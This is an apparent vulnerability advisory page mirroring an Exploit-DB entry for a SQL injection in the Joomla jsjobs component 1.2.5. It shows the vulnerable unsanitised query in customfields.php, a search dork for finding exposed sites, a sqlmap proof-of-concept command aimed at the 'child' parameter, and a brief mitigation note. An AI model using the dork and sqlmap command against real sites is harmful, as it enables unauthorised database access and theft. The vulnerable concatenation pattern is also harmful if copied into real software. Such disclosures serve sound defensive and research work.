Joomla! component com_jsjobs - 'customfields.php' SQL Injection

vendor:

jsjobs

by:

qw3rTyTy

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: jsjobs

Affected Version From: 1.2.5

Affected Version To: 1.2.5

Patch Exists: N/A

Related CWE: N/A

CPE: a:joomsky:jsjobs

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Debian/nginx/joomla 3.9.0

2019

Joomla! component com_jsjobs – ‘customfields.php’ SQL Injection

Vulnerable code is in line 171 in file site/models/customfields.php, where an attacker can inject malicious SQL code into the 'child' parameter of the 'customfields.datafordepandantfield' task of the 'com_jsjobs' component. An example of a PoC is provided using sqlmap.py.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

#Exploit Title: Joomla! component com_jsjobs - 'customfields.php' SQL Injection
#Dork: inurl:"index.php?option=com_jsjobs"
#Date: 13.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/5/download/1
#Version: 1.2.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 171 in file site/models/customfields.php

   169	    function dataForDepandantField( $val , $childfield){ 
   170	        $db = $this->getDBO();
   171	        $query = "SELECT userfieldparams,fieldtitle FROM `#__js_job_fieldsordering` WHERE field = '".$childfield."'";	//!!!
   172	        $db->setQuery($query);
   173	        $data = $db->loadObject();

#####################################
#PoC:
#####################################
$> sqlmap.py -u "http://localhost/index.php?option=com_jsjobs&task=customfields.datafordepandantfield&fvalue=0&child=0" --random-agent --dbms=mysql --method GET -p child --technique E